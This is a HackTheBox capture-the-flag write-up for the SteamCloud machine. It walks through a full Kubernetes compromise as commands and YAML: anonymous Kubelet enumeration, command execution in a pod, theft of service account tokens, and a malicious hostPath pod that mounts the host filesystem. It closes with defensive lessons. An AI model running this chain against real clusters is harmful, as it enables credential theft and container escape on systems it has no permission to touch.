HTB: SteamCloud Writeup
SteamCloud - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | SteamCloud |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 24 Dec 2022 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
SteamCloud is an easy Linux machine centered around Kubernetes security misconfigurations. The target exposes multiple Kubernetes-related services on non-standard ports. The Kubelet service, which handles anonymous access by default, allows us to enumerate all running pods in the cluster without authentication. By executing commands within the Nginx pod, we can extract service account tokens and certificates. These credentials grant us access to the Kubernetes API, where we leverage pod creation privileges to mount the host filesystem and read both user and root flags. This machine effectively demonstrates the critical security risks of misconfigured Kubernetes environments and improper access controls.
TL;DR: Enumerate Kubelet (port 10250) → Extract pod tokens via RCE → Authenticate to K8s API → Create privileged pod with host mount → Read flags from mounted filesystem.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.96.98 --max-retries=0Results:
The nmap scan reveals several interesting ports indicative of a Kubernetes cluster:
- Port 22 - SSH (standard access)
- Port 2379 - etcd client API (Kubernetes data store)
- Port 2380 - etcd server API
- Port 8443 - Kubernetes API Server
- Port 10250 - Kubelet API (node agent)
Service Enumeration
Kubernetes API (Port 8443)
curl https://10.129.96.98:8443/ -kThe API endpoint returns a 401 Unauthorized response, indicating that authentication is required to access most endpoints. However, this is not an absolute barrier—we need to find an alternative entry point.
Kubelet Service (Port 10250)
curl https://10.129.96.98:10250/pods -kThe Kubelet service responds to unauthenticated requests and exposes a /pods endpoint that returns all running pods in JSON format. This is a significant misconfiguration, as Kubelet typically should not allow anonymous access to sensitive cluster information.
Vulnerability Assessment
Identified Vulnerabilities:
- Anonymous Kubelet Access - The Kubelet API allows unauthenticated requests to enumerate pods and execute commands, bypassing authentication requirements.
- Default Service Account Permissions - The default service account in the cluster has permissions to create, list, and get pods.
- Insecure Pod Configuration - Pods are not restricted from mounting the host filesystem or accessing sensitive directories.
- Missing Network Segmentation - Kubernetes API and Kubelet are exposed on network interfaces without firewall restrictions.
Initial Foothold
Exploiting Kubelet Enumeration
First, we install kubeletctl, a specialized tool for interacting with the Kubelet API:
# Download and install kubeletctlcurl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64chmod a+x ./kubeletctl_linux_amd64mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctlWith kubeletctl installed, we enumerate all pods in the cluster:
kubeletctl --server 10.129.96.98 podsThis reveals three running pods:
coredns-78fcd69978-zbwf9(kube-system namespace)nginx(default namespace) — This is our targetetcd-steamcloud(kube-system namespace)
RCE via Kubelet
Next, we scan the cluster for RCE vulnerabilities on vulnerable pods:
kubeletctl --server 10.129.96.98 scan rceThe scan confirms that the Nginx pod in the default namespace is vulnerable to command execution via the /run endpoint.
Gaining Command Execution
We execute a simple command to verify RCE:
kubeletctl --server 10.129.96.98 exec "id" -p nginx -c nginxThe command executes successfully, returning the UID and GID of the nginx container process. This confirms we have arbitrary command execution within the pod.
Privilege Escalation
Extracting Kubernetes Credentials
Now that we have command execution within the Nginx pod, we extract the service account token and CA certificate that the pod uses to authenticate to the Kubernetes API:
# Extract the service account tokenkubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx > token.txt
# Extract the CA certificatekubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ca.crtThese files are automatically mounted into every pod and contain the credentials needed to authenticate to the Kubernetes API.
Authenticating to the Kubernetes API
We configure kubectl to use the extracted credentials:
# Export the token as an environment variableexport token=$(cat token.txt)
# Verify we can authenticatekubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 get podsThis lists all pods in the default namespace, confirming successful authentication.
Enumerating Permissions
We check what permissions the default service account has:
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 auth can-i --listThe output shows that we can:
createpodsgetpodslistpods
This is sufficient to create a malicious pod that mounts the host filesystem.
Creating a Privileged Pod with Host Mount
We create a malicious pod YAML configuration that mounts the entire host filesystem:
# Save as f.yamlapiVersion: v1kind: Podmetadata: name: nginxt namespace: defaultspec: containers: - name: nginxt image: nginx:1.14.2 volumeMounts: - mountPath: /root name: mount-root-into-mnt volumes: - name: mount-root-into-mnt hostPath: path: / automountServiceAccountToken: true hostNetwork: trueThis configuration:
- Uses the nginx image (same as legitimate pod)
- Mounts the host filesystem at
/rootwithin the container - Enables service account token mounting
- Uses the host network namespace
Deploying the Malicious Pod
# Apply the pod configurationkubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 apply -f f.yaml
# Verify the pod is runningkubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 get podsOnce the pod is deployed and running, we can execute commands within it to access files on the host system.
Reading the Flags
With the malicious pod running and the host filesystem mounted at /root, we can now read both flags:
# Read the user flagkubeletctl --server 10.129.96.98 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
# Read the root flagkubeletctl --server 10.129.96.98 exec "cat /root/root/root.txt" -p nginxt -c nginxtBoth flags are successfully retrieved from the host system via the compromised pod.
Attack Chain Summary
Enumerate Kubelet (port 10250) ↓Discover Nginx pod vulnerable to RCE ↓Execute commands in Nginx container ↓Extract service account token & CA certificate ↓Authenticate to Kubernetes API (port 8443) ↓Create privileged pod with host filesystem mount ↓Execute commands in privileged pod ↓Read user.txt and root.txt from mounted host filesystem ↓Capture both flagsTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service discovery |
curl | HTTP/HTTPS requests to API endpoints |
kubeletctl | Kubelet API interaction and pod enumeration |
kubectl | Kubernetes API client for pod creation and management |
bash | Command execution and shell scripting |
Key Learnings
Techniques Practiced
- Kubernetes cluster enumeration and reconnaissance
- Kubelet API exploitation via anonymous access
- Service account token extraction from pod filesystem
- Kubernetes API authentication using extracted credentials
- Malicious pod creation with privileged mounts
- Lateral movement from pod to host filesystem
- Container escape via volume mounts
Lessons Learned
-
Default Kubernetes Security Is Insufficient - The default service account should have minimal permissions; overly permissive RBAC policies enable lateral movement and privilege escalation.
-
Kubelet Anonymous Access Is Critical - Kubelet should never allow unauthenticated access to sensitive endpoints. Implement authentication and authorization checks on the kubelet API.
-
Service Account Tokens Are Powerful - Any pod that can access another pod can potentially extract its service account token. Implement pod-to-pod network policies to prevent unauthorized communication.
-
Host Filesystem Mounts Enable Escape - Allowing pods to mount the host filesystem via
hostPathvolumes is equivalent to giving root access to the host. Restrict or eliminate this capability. -
Host Network Namespace Increases Risk - Setting
hostNetwork: trueallows a pod to interact directly with the host network, increasing the attack surface significantly. -
RBAC and Network Policies Are Essential - A complete Kubernetes security posture requires both RBAC (role-based access control) and network policies to segment cluster traffic and limit lateral movement.
-
Kubernetes Security Requires Defense in Depth - No single security control is sufficient; multiple layers (authentication, authorization, network policies, admission controllers) are needed to effectively secure a cluster.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>